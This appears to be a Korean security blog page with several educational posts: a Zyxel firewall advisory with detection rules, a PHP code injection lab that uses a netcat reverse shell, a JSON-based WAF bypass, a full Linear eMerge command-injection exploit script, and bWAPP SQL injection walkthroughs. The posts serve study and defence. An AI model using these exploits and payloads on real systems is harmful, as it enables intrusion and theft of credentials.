USG FLEX 50(W) / USG20(W)-VPN ZLD V5.10 ~ ZLD V5.21 Patch 1 ZLD V5.30
ATP series ZLD V5.10 ~ ZLD V5.21 Patch 1 ZLD V5.30
VPN series ZLD V4.60 ~ ZLD V5.21 Patch 1 ZLD V5.30

https://www.zyxel.com/support/Zyxel-security-advisory-for-OS-command-injection-vulnerability-of-firewalls.shtml

 

3.2 네트워크 측면

① 공개된 PoC를 확인해 탐지 정책 적용

alert tcp $EXTERNAL_NET any -> $HOME_NET any(msg:"Zyxel Firewall handler mtu RCE (CVE-2022-30525)";flow:to_server, established;content:"/ztp/cgi-bin/handler";)

alert tcp $EXTERNAL_NET any -> $HOME_NET any(msg:"Zyxel Firewall handler mtu RCE (CVE-2022-30525)";flow:to_server, established;content:"/ztp/cgi-bin/handler";content:"setWanPortSt"; http_client_body;)

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2022-30525

https://www.exploit-db.com/exploits/50946

- http://www.zyxel.kr/bbs/board.php?bo_table=notice&wr_id=169&page=2

https://www.rapid7.com/blog/post/2022/05/12/cve-2022-30525-fixed-zyxel-firewall-unauthenticated-remote-command-injection/

https://www.bleepingcomputer.com/news/security/zyxel-fixes-firewall-flaws-that-could-lead-to-hacked-networks/

https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-os-command-injection-vulnerability-of-firewalls

https://www.zyxel.com/support/Zyxel-security-advisory-for-OS-command-injection-vulnerability-of-firewalls.shtml

- https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=66715

https://blog.alyac.co.kr/4715

1. PHP Code Injection

- Code injection 공격 중 하나로 취약한 PHP 함수에 악의적인 코드를 삽입하는 공격

 

2. 실습

2.1 Low

- "message"를 클릭한 뒤 URL을 확인해보면 GET 방식을 사용하며, message 매배견수로 입력 받은 값을 표시함

[사진 1] 초기 화면

 

- [사진 1]의 URL에서 확인되는 phpi.php 페이지를 확인 시 eval() 함수로 message 매개변수로 받은 값을 실행

- PHP에서 eval()은 ()안의 문자열을 PHP 코드로 실행하는 함수

- 참고 : https://www.php.net/manual/en/function.htmlspecialchars.php

[사진 2] eval()

 

- 원격의 공격자를 이를 이용해 원격에서 임의 명령 실행 가능

① 원격의 공격자는 nc 명령으로 4444 Port를 오픈 후 대기

② 취약한 message 매개변수에 리버스쉘을 생성하는 명령어 삽입 ex) system("nc 192.168.56.102 4444 -e /bin/bash")

③ 명령프롬프트 표시 : python -c 'import pty;pty.spawn("/bin/bash")'

[사진 3] 리버스 쉘 생성

2.2 Medium / High

- Medium / High Level에서는 Injection 코드가 텍스트로 출력

[사진 4] 결과

- eval() 함수를 사용한 Low Level과 달리 htmlspecialchars()를 통해 특수문자를 필터링 ( &, ", ', <, > )

- 참고 : https://www.php.net/manual/en/function.htmlspecialchars.php

※ 해당 함수는 우회가능함

① 입력 값을 base64 인코딩된 값으로 받는 페이지에서 우회 가능

② Hex 값을 반환해줄 경우 특수 문자를 Hex Encoding하여 우회 가능

[사진 5] htmlspecialchars()

1. 개요

-  Team82에서 웹 애플리케이션 방화벽(WAF)의 우회방법을 개발

※ 관련 WAF 공급 업체 : Palo Alto Networks, Amazon Web Services, Cloudflare, F5 Big-IP, Imperva

- 공격 방법은 WAF가 구문 분석할 수 없는 SQL Injection 페이로드에 JSON 구문을 추가하는 것

- 대부분의 WAF는 SQL Injection 공격을 쉽게 감지 하지만 SQL 구문에 JSON을 추가하면 WAF 우회가 가능

※ WAF 공급업체는 대부분의 데이터베이스 엔진에서 JSON을 지원했음에도 불구하고 제품에서 JSON 지원이 부족

- 위 5개 업체 모두 SQL Injection 검사 프로세스에 JSON 구문을 지원하도록 업데이트 적용

- 해당 기법을 악용해 타제품 WAF 우회 및 공격이 가능하므로, 패치 적용 또는 관련 설정이 필요

 

2. SQL과 JSON

- 현대에 JSON은 데이터 저장 및 전송의 주요 형식 중 하나로 자리잡음

- JSON 구문을 지원하고 개발자가 다른 애플리케이션에서 데이터와 상호 작용하는 방식과 유사한 방식으로 데이터와 상호 작용할 수 있도록 하려면 SQL에서 JSON 지원이 필요했음

 

- 현재 모든 주요 관계형 데이터베이스 엔진은 기본 JSON 구문을 지원함

※ MSSQL, PostgreSQL, SQLite, MySQL이 포함

- 최신 버전에서는 모든 데이터베이스 엔진이 기본적으로 JSON 구문을 활성화하므로 오늘날 대부분의 데이터베이스 설정에서 널리 사용됨

 

- 개발자는 여러 이유로 SQL 데이터베이스 내에서 JSON 기능을 사용하기로 선택

① 많은 백엔드가 이미 JSON 데이터로 작업

> SQL 엔진 자체에서 모든 데이터 조작 및 전환을 수행하면 필요한 데이터베이스 호출 수가 줄어듦

② JSON 데이터 형식은 데이터베이스 백엔드 API에서 가장 많이 사용하는 형식

> JSON 데이터 형식으로 작동할 수 있는 경우 데이터 전,후처리가 덜 필요하므로 애플리케이션에서 먼저 변환할 필요 없이 즉시 사용이 가능

∴ SQL에서 JSON을 사용할 경우 더 나은 성능과 효율성 즉, 리소스 절약이 가능함

[사진 1] SQL에서 JSON을 사용하는 데이터 흐름

 

- 각 데이터베이스는 서로 다른 구현 및 JSON 파서를 선택했으며, 모두 JSON 데이터 유형과 기본 JSON 검색 및 수정을 지원

[사진 2] 데이터베이스 별 JSON 지원 수준

 

- 그러나 모든 데이터베이스 엔진이 JSON에 대한 지원을 추가했지만 모든 보안장비가 JSON에 대한 지원을 추가한 것은 아님

∴ 보안장비와 실제 데이터베이스 엔진 간의 구문 분석 기본 요소가 일치하지 않아 SQL 구문이 잘못 식별될 수 있음

> 결과적으로 JSON은 WAF의 파서와 데이터베이스 엔진 간의 불일치로 인한 문제

 

3. 취약점

- JSON 구문을 사용하면 새 SQL Injection 페이로드를 만들 수 있음

- 이러한 페이로드는 일반적으로 알려지지 않았기 때문에 보안장비를 우회하는 데 사용될 수 있음

PostgreSQL: '{"b":2}'::jsonb <@ '{"a":1, "b":2}'::json
> b Is the left JSON contained in the right one? True.

SQLite: '{"a":2,"c":[4,5,{"f":7}]}' -> '$.c[2].f' = 7 
> Does the extracted value of this JSON equals 7? True. 

MySQL: JSON_EXTRACT('{"id": 14, "name": "Aztalan"}', '$.name') = 'Aztalan' 
> Does the extracted value of this JSON equals to ‘Aztalan’? True.

 

- WAF가 유효한 SQL로 인식하지 않지만 데이터베이스 엔진에서 SQL Injection으로 분석된다면 우회가 가능함

- JSON 구문을 사용하는 유효한 SQL 문을 전달했을 때 WAF에서 탐지되지 않음

※ 오른쪽 JSON이 왼쪽 JSON에 포함되어 있는지 확인하는 JSON 연산자 @>는 WAF를 우회할 수 있음 ([사진 3] 참고)

[사진 3] JSON 구문이 포함된 SQL Injection에 대한 200 응답값

 

- 간단한 JSON 구문을 요에 추가하여 SQL Injection을 수행할 경우 클라우드에서 민감한 정보를 얻을 수 있음

[사진 4] JSON 구문이 포함된 SQL Injection을 통한 클라우드에서의 정보 탈취

 

- 이 우회의 핵심 문제는 데이터베이스 엔진과 SQL Injection 탐지 솔루션 간의 적합성 부족 문제
- 이는 SQL의 JSON 기능이 잘 알려진 기능이 아니며 해당 구문이 WAF 파서에 추가되지 않았기 때문임

- 공격자가 피해 서버에 어떤 WAF가 있는지 확인할 수 없더라도 JSON 기반 SQL Injeciton 공격을 통해 우회 및 악용할 수 있음.

 

- 오픈소스 SQL Injetion 자동화 툴 SQLMap의 최신 버전에서 JSON 구문 회피 기술이 추가됨.

 

GitHub - sqlmapproject/sqlmap: Automatic SQL injection and database takeover tool

Automatic SQL injection and database takeover tool - GitHub - sqlmapproject/sqlmap: Automatic SQL injection and database takeover tool

github.com

 

- SQLMap에서는 일부 WAF 우회 기술을 제공하지만 일반적인 SQL Injection은 대부분 최신 WAF에서 쉽게 탐지/차단

[사진 5] SQLMap에서 SQL Injection 공격 시 WAF 탐지/차단

 

- 그러나 임의로 생성된 JSON 구문을 추가하여 SQLMap에서 악성 페이로드 공격 시 WAF 우회 및 성공적으로 악용할 수 있음.

- SQLMap 옵션 : --temper json_waf_bypass

[사진 6] JSON 기반 SQL Injection 공격 시 WAF 우회

4. 대응

- 5곳의 주요 WAF 공급업체 모두 SQL Injection 검사 프로세스에 JSON 구문을 지원하도록 업데이트 적용

※ 관련 WAF 공급 업체 : Palo Alto Networks, Amazon Web Services, Cloudflare, F5 Big-IP, Imperva

- 5곳 외 타 보안장비 벤더사에서도 관련된 패치 제공 및 솔루션에 패치 적용 필요

[사진 7] JSON 구문에 대한 지원을 추가한 Amazon AWS ELB 규칙 세트에 대한 AWS 릴리스 정보
[사진 8] JSON 구문에 대한 지원을 추가한 F5 BIG-IP의 승인

5. 출처

 

{JS-ON: Security-OFF}: Abusing JSON-Based SQL to Bypass WAF

Team82 developed a generic web application firewall bypass that exploits a lack of JSON syntax support in leading vendors' SQL injection inspection process.

claroty.com

1. Linear eMerge E3-Series devices

- 사람이 지정된 시간에 지정된 장소에 출입하기 위해 사용할 수 있는 문을 지정하는 액세스 컨트롤러

-  즉, 조직 차원에서 특정 영역 출입 인원을 지정해 통제할 수 있으며, 따라서 여러 주요 시설에서 흔히 찾을 수 있는 제품

- 내장형 Linux 운영 체제에서 실행되며 내장형 웹 서버를 통해 브라우저에서 시스템을 관리

 

2. 취약점

[사진 1]&nbsp;https://nvd.nist.gov/vuln/detail/CVE-2019-7256

- Linear eMerge E3-Series 제품군에서 발생하는 Command Injections 취약점

- 원격에서 제어 시스템을 완전히 장악할 수 있게 되어 CVSS 기준으로 만점인 10점을 받음

영향받는 제품 : Linear eMerge E3-Series 제품군

[사진 2] 쇼단 검색 화면

 

2.1 취약점 분석

- card_scan.php 페이지에서 사용자 입력값에 대한 검증을 수행하지 않아 발생

- GET 메소드를 통해 사용자가 입력한 ReaderNo, CardFormatNo 변수를 그대로 사용하여 exec()로 실행

[사진 3] 취약한 버전의 card_scan.php

- 아래 Exploit 예시에서처럼 서버에서 200 응답이 발생

[사진 4] Exploit 예시

2.2 PoC 분석

- /card_scan.php URL 요청 및 ReaderNo 매개변수 (혹은 CardFormatNo 매개변수)를 통해 공격을 시도함

- 결과를 test.txt(임의 파일명)에 저장 후 결과 출력, 삭제까지 이루어짐

#!/usr/bin/env python
#
# Linear eMerge E3 Unauthenticated Command Injection Remote Root Exploit
# Affected version: <=1.00-06
# via card_scan.php
# CVE: CVE-2019-7256
# Advisory: https://applied-risk.com/resources/ar-2019-005
#
# By Gjoko 'LiquidWorm' Krstic
#
###################################################################
# lqwrm@metalgear:~/stuff$ python emergeroot1.py 192.168.1.2
#
# lighttpd@192.168.1.2:/spider/web/webroot$ id
# uid=1003(lighttpd) gid=0(root)
#
# lighttpd@192.168.1.2:/spider/web/webroot$ echo davestyle |su -c id
# Password: 
# uid=0(root) gid=0(root) groups=0(root)
#
# lighttpd@192.168.1.2:/spider/web/webroot$ exit
#
# [+] Erasing read stage file and exiting...
# [+] Done. Ba-bye!
#
###################################################################

import requests
import sys,os##

piton = os.path.basename(sys.argv[0])

if len(sys.argv) < 2:
  print '\n\x20\x20[*] Usage: '+piton+' <ipaddress:port>\n'
  sys.exit()

ipaddr = sys.argv[1]

print
while True:
  try:
    cmd = raw_input('lighttpd@'+ipaddr+':/spider/web/webroot$ ')
    execute = requests.get('http://'+ipaddr+'/card_scan.php?No=30&ReaderNo=%60'+cmd+' > test.txt%60')
    readreq = requests.get('http://'+ipaddr+'/test.txt')
    print readreq.text
    if cmd.strip() == 'exit':
      print "[+] Erasing read stage file and exiting..."
      requests.get('http://'+ipaddr+'/card_scan.php?No=30&ReaderNo=%60rm test.txt%60')
      print "[+] Done. Ba-bye!\n"
      break
    else: continue
  except Exception:
    break

sys.exit()

 

3. 대응방안

3.1 서버측면

① 최신 패치 적용

- 패치된 버전의 card_scan.php에서는 사용자 입력값이 적절한지 is_numeric()으로 검증

- is_numeric()은 변수의 자료형이 숫자인지 확인하는 php 함수

※ card_scan.php는 카드 정보를 확인하는 기능을 수행하는것으로 판단됨.

[사진 5] 입력값 검증

② 내부망과 분리

- 패치 적용이 어렵거나 불가한 경우 취약한 시스템을 내부망에서 분리

- 공격자에 의한 네트워크 접속한 후 횡적 움직임 방지

 

3.2 네트워크 측면

① 공개된 PoC를 통해 다음을 탐지하는 룰을 적용 및 탐지 후 차단

- 취약한 URL 요청 : /card_scan.php

- 매개변수 사용 여부 : No, ReaderNo, CardFormatNo

 

② IoC를 참고해 IP 차단 등의 침해지표 활용

 

4. 참조

https://nvd.nist.gov/vuln/detail/CVE-2019-7256

- https://www.boannews.com/media/view.asp?idx=86155 

https://www.exploit-db.com/docs/47646

https://securitynews.sonicwall.com/xmlpost/linear-emerge-e3-access-controller-actively-being-exploited/

- https://packetstormsecurity.com/files/155255/Linear-eMerge-E3-1.00-06-card_scan.php-Command-Injection.html

1. Blind SQL Injection

- 웹 서버의 보안 설정을 통해 기존 SQL Injection에 대한 대응이 되어있는 경우 수행

- SQL 쿼리 수행 결과인 참/거짓을 기반으로 데이터를 알아내는 기법

- 참/거짓으로 결과를 반환하므로 노가다성 작업이 필요

- Boolean-Based 기법과 Time-Based 기법이 있음

[캡쳐 1] Blind SQL Injection 수행 과정

- Blind SQL Injection에서는 다음 함수들이 자주 사용됨

함수 설명
length("문자열") - 문자열의 길이를 반환하는 함수
substring(대상 문자열, 시작 위치, 길이) - 문자열에서 지정한 시작위치부터 길이만큼 출력하는 함수
- 시작 위치는 1부터 시작
* MySQL : substring() / Oracle : substr() / 사용법은 동일
limit 시작 위치, 갯수 - 지정한 시작위치부터 갯수만큼 결과를 반환하는 함수
- 시작 위치는 0부터 시작
ascii - 문자를 아스키코드로 변환하는데 사용하는 함수
- 10진수 48 ~ 57 = 정수 1 ~ 10
- 10진수 65 ~ 90 = 문자 A ~ Z
- 10진수 97 ~ 122 = 문자 a ~ z

2. 실습

- movie 검색란에 SQL Injection 취약점 유무를 확인하기 위해 '를 입력

- 출력되는 에러를 통해 SQL Injection 취약점이 존재하는 것을 알 수 있음

- 쿼리 수행 결과가 참일 경우와 거짓일 경우 출력되는 결과 값이 다른 것을 알 수 있음

- 해당 결과를 통해 Blind SQL 중 Boolean-Based 기법을 수행해야 한다는것을 유추 가능함

 

2.1 데이터베이스 이름의 문자열 갯수 확인

- length()를 이용해 데이터베이스 이름의 문자열 갯수를 확인할 수 있음

- 수행 질의문 : ' or 1=1 and length(database())=1 #

- 질의문 해석 : 데이터베이스 이름의 길이가 1인지 

* database() : 서버의 데이터베이스 명을 반환하는 시스템 함수

- 숫자를 계속해서 증가 시켜 질의를 수행한 결과, 데이터베이스 명은 5글자인 것을 알 수 있음

- 수행 질의문 : ' or 1=1 and length(database())=5 #

- 질의문 해석 : 데이터베이스 이름의 길이가 5인지

2.2 데이터베이스 이름 확인

- substring()를 이용해 데이터베이스의 명을 확인할 수 있음

- 수행 질의문 : ' or 1=1 and substring(database(),1,1)='a' #

- 질의문 해석 : 데이터베이스 이름의 첫번째 글자가 'a'인지

- 문자를 변경하면서 질의문을 수행하면, 데이터베이스가 'b'로 시작하는 5글자임을 알 수 있음

- 수행 질의문 : ' or 1=1 and substring(database(),1,1)='b' #

- 질의문 해석 : 데이터베이스 이름의 첫번째 글자가 'b'인지

- 데이터베이스 이름의 두번째 글자 확인을 원할 경우 substring()의 시작위치를 2로 변경하여 질의를 수행하면 됨.

- 수행 질의문 : ' or 1=1 and substring(database(),2,1)='a' #

- 질의문 해석 : 데이터베이스 이름의 두번째 글자가 'a'인지

 

- ASCII 값과 부등호를 이용해 해당 아스키 값이 입력한 아스키 값보다 큰지 작은지 확인할 수 있음

- substring()으로 하나씩 글자를 확인하는 것보다 ASCII 값으로 범위를 한정하여 검색하는 것이 수월

- 수행 질의문 : ' or 1=1 and substring(database(),1,1)<=97 #

- 질의문 해석 : 데이터베이스 이름의 첫번째 글자가 97(문자 a) 보다 작거나 같은 값인지

- 각 과정을 반복하면 데이터베이스의 이름이 'bWAPP'인 것을 알 수 있음

2.3 테이블 이름의 문자열 갯수 확인

- length()와 limit을 사용해 테이블 이름의 문자열 갯수를 확인할 수 있음

- 수행 질의문 : ' or 1=1 and length((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1))= 1#

* table_type = 'base table'란 information_schema에서 메타 데이터 테이블을 제외한 테이블을 의미

- 질의문 해석 :

information_schema 데이터베이스의 tables 테이블에서
table_type이 base table이고 table_schema가 bWAPP인 데이터베이스의
table_name의
첫번째 테이블 이름의

길이가 1인지

- 숫자를 증가시켜 질의문을 수행하면 첫번째 테이블 이름의 길이가 4인것을 알 수 있음

- 수행 질의문 : ' or 1=1 and length((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1))= 4#

- 두번째 테이블 이름의 길이를 알고싶을 경우 위 수행 질의문 중 limit 0,2 로 변경해 질의문을 구성하며, 숫자를 하나씩 늘려가며 확인

2.4 테이블 이름 확인

- ascii, substring(), limit을 사용해 테이블 이름의 문자열 갯수를 확인할 수 있음

- 수행 질의문 : ' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1),1,1)) >= 97#

- 질의문 해석 :

information_schema 데이터베이스의 tables 테이블에서

table_type이 base table이고 table_schema가 bWAPP인 데이터베이스의

table_name의

첫번째 테이블 이름의

쳣번째 글자가

ascii 값으로 97(문자 a)보다 크거나 같은지

- 숫자를 증가시켜 질의문을 수행하면 첫번째 테이블이 b로 시작하는 4글자임을 확인할 수 있음

- 수행 질의문 : ' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1),1,1)) >= 97#

- 문자를 변경하면서 질의를 수행한 결과, 데이터베이스의 첫 글자는 'b'인 것을 알 수 있으며, 결과 값은 blog임

- 두번째 테이블의 이름을 알고싶은 경우 수행 질의문 중 limit 1,1로 변경해 질의문을 구성하며, 숫자를 하나씩 늘려가며 확인

- 해당 과정을 반복하면 4번째 테이블 명이 users라는 것을 알 수 있음

2.5 users 테이블의 정보 확인

- 다음 질의를 통해 users 테이블의 첫번째 칼럼의 글자수를 확인할 수 있음

- 수행 질의문 : ' or 1=1 and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=1#

- 질의문 해석 :

information_schema 데이터베이스의 columns 테이블에서

table_name이 users인 테이블의

column_name의

첫번째 컬럼의

길이가 1인지

- 2를 대입하여 질의를 수행하면 결과로 참을 반환하며, id임을 추측해 볼 수 있으며 질의를 통해 확인 가능

- 수행 질의문 :  ' or 1=1 and substring((select column_name from information_schema.columns where table_name='users' limit 0,1),1,2)= 'id'#

- 두번째 컬럼을 알고싶은 경우 질의문 중 limit 1,1로 변경해 질의문을 구성하며, 숫자를 하나씩 늘려가며 확인

- 해당 과정을 반복하면 users 테이블의 컬럼은 id, login, password 등으로 구성되어 있는것을 알 수 있음

2.6 users 테이블의 login 컬럼 정보 확인

- 다음 질의문을 통해 login 컬럼에 저장된 정보의 길이 확인할 수 있음

- 수행 질의문 : ' or 1=1 and length((select login from users limit 0,1))=1#

- 질의문 해석 : users 테이블의 login 컬럼의 첫번째 컬럼의 길이가 1인지

- 질의문을 변경하면서 질의를 수행하면 2번째 컬럼의 길이가 3인것을 확인할 수 있음

- 다음 질의문을 통해 users 테이블의 login 컬럼의 두번째 컬럼이 3글자이며, bee임을 추측해 볼 수 있으며 질의를 통해 확인 가능

- 수행 질의문 : ' or 1=1 and substring((select login from users limit 1,1),1,3)='bee'#

- 질의문 해석 : users 테이블의 login 컬럼의 두번째 컬럼이 'bee'인지

 

- 또한, 각 과정을 반복하면 users 테이블의 password 컬럼 길이가 40임을 알 수 있고, 해시된 값임을 추측해 볼 수 있음

- 수행 질의문 : ' or 1=1 and length((select password from users where login='bee'))=40#

- 질의문 해석 : users 테이블에서 login 컬럼 값이 'bee'인 password 컬럼의 길이가 40인지

- 해시 여부를 확인하면(수행 질의문에서 md5()를 sha1 등으로 바꿔서 확인 가능) sha1을 사용해 비밀번호를 해시하여 저장하는 것을 알 수 있음

- 수행 질의문 : ' or 1=1 and md5("bug") = (select password from users where login='bee')#

 

3. 비박스 소스 확인

- 해당 페이지의 소스코드를 확인해 보면 security_level 별로 입력값 검증 방법을 확인할 수 있음

① security_level = 0 (난이도 하)일 경우 입력값을 검증하지 않음

② security_level = 1 (난이도 중)일 경우 sqli_check_1() 함수로 입력값 검증

③ security_level = 2 (난이도 상)일 경우 sqli_check_2() 함수로 입력값 검증

- addslashes(), mysql_real_escape_string() 함수를 통해 입력값 검증

① addslashes() : ', ", \, NULL 바이트에 역슬래시(\)를 추가된 문자열을 반환

② mysql_real_escape_string() : NULL, \n, \r, \, ', "에 역슬래시(\)를 붙여 특수 문자를 이스케이프

SQL injection

- 입력값에 대한 검증을 하지 않을 경우 악의적인 SQL 쿼리를 삽입하여 데이터베이스의 정보를 탈취하거나 인증을 우회하는 공격 기법

- 영화를 검색하는 페이지이며, 아무 입력값 없이 Search를 누르면 모든 영화 목록들이 출력됨

- 해당 페이지에 SQL Injection 취약점 존재 여부를 확인하기 위해 '(작은따옴표) 입력 후 Search 클릭

* 데이터베이스에서는 '(작은따옴표)로 문자 데이터를 구분하기 때문

- 그 결과로 오류메세지가 출력되며, SQL Injection 취약점이 존재하는 것과 MySQL을 사용하는 것을 알 수 있음.

* 데이터베이스별 한줄 주석 : MySQL : # / Oracle : -- / MSSQL : -- / MariaDB : --, # / Sybase IQ : --, //, % / Sybase ASE : -- / DB2 : --

- 좀 더 자세한 정보를 알아내기 위해 UNION SELECT 구문을 사용

UNION문
① 두 개 이상의 SELECT 문을 결합하고자 할 때 사용
② 선행 쿼리의 SELECT 문의 컬럼 갯수와 후행 쿼리의 SELECT 문의 컬럼 갯수와 데이터 형식이 동일해야 함
③ 중복을 제거하여 출력 / UNION ALL은 중복을 제거하지 않고 모두 출력

- UNION 구문을 사용하기 위해서는 먼저 SELECT 문의 컬럼 갯수를 파악해야 하므로 다음 SQL 구문을 실행함

<수행 구문>

' UNION SELECT 1,2...#

<구문 분석>
' : 선행 질의문 종료
UNION : 선행 질의문과 후행 질의문 합치기
1,2,3 ... : 컬럼 갯수
# : MySQL 한줄 주석으로, 이후 구문들은 주석으로 처리되어 무시

' UNION SELECT 1# ------------------- 에러발생
' UNION SELECT 1,2# ----------------- 에러발생
' UNION SELECT 1,2,3# --------------- 에러발생
' UNION SELECT 1,2,3,4# ------------- 에러발생
' UNION SELECT 1,2,3,4,5# ----------- 에러발생
' UNION SELECT 1,2,3,4,5,6# --------- 에러발생
' UNION SELECT 1,2,3,4,5,6,7# ------- 정상실행

- 위의 결과를 통해 컬럼 갯수는 7개이며, 출력되는 컬럼 번호는 2, 3, 4, 5번인 것을 알 수 있음

- 이후, 2, 3, 4, 5번 칼럼 값에 시스템 변수 혹은 메타데이터를 적용해 데이터베이스에 대한 정보를 알 수 있음

 

① 데이터베이스 버전 확인

<수행 구문>

' UNION SELECT 1, @@version, 3, 4, 5, 6, 7#

* @@version : 데이터베이스 버전이 저장된 시스템 변수

② 테이블명 확인

<수행 구문>

' UNION SELECT 1, table_name, 3, 4, 5, 6, 7 FROM information_schema.tables #

<구문 분석>

1) table_name : 테이블 명

2) information_schema : MySQL 서버 내에 존재하는 DB의 메타 정보(테이블, 칼럼, 인덱스 등의 스키마 정보)를 모아둔 DB

3) information_schema.tables : information_schema 데이터베이스 내의 tables 테이블(생성된 모든 테이블 정보)

<전체 구문>

information_schema 데이터베이스의 tables 테이블의 테이블 이름을 두번째 컬럼에 출력

③ 테이블 정보 확인

<수행 구문>

' UNION SELECT 1, column_name, 3, 4, 5, 6, 7 FROM information_schema.columns WHERE table_name='users' #

<구문 분석>

1) column_name : 열이름

2) information_schema.columns : information_schema 데이터베이스 내의 columns 테이블(모든 스키마의 컬럼 확인)

3) table_name='users' : table_name(테이블 명)이 users인 테이블

<전체 구문>

information_schema 데이터베이스의 columns 테이블에서 테이블 이름이 users인 테이블의 column 이름을 두번째 컬럼에 출력

④ 계정 정보 확인

<수행 구문>

' UNION SELECT 1, id, login, secret, password, 6, 7 from users # 

<전체 구문>

users 테이블에서 id, login, secret, password 컬럼의 내용을 출력

* 출력되는 컬럼은 4개 이므로 추가로 출력을 원하는 컬럼이 있는 경우 "concat(첫번째컬럼, 두번째컬럼)"을 사용

* concat(str1, str2 ..) : 명시된 문자열을 병합하여 반환하는 함수

- bee 계정의 비밀번호(6885858486f31043e5839c735d99457f045affd0 -> bug)를 알 수 있음

 

- 해당 페이지의 소스코드를 확인해 보면 security_level 별로 입력값 검증 방법을 확인할 수 있음

① security_level = 0 (난이도 하)일 경우 입력값을 검증하지 않음

② security_level = 1 (난이도 중)일 경우 sqli_check_1() 함수로 입력값 검증

③ security_level = 2 (난이도 상)일 경우 sqli_check_2() 함수로 입력값 검증

- addslashes(), mysql_real_escape_string() 함수를 통해 입력값 검증

① addslashes() : ', ", \, NULL 바이트에 역슬래시(\)를 추가된 문자열을 반환

② mysql_real_escape_string() : NULL, \n, \r, \, ', "에 역슬래시(\)를 붙여 특수 문자를 이스케이프

+ Recent posts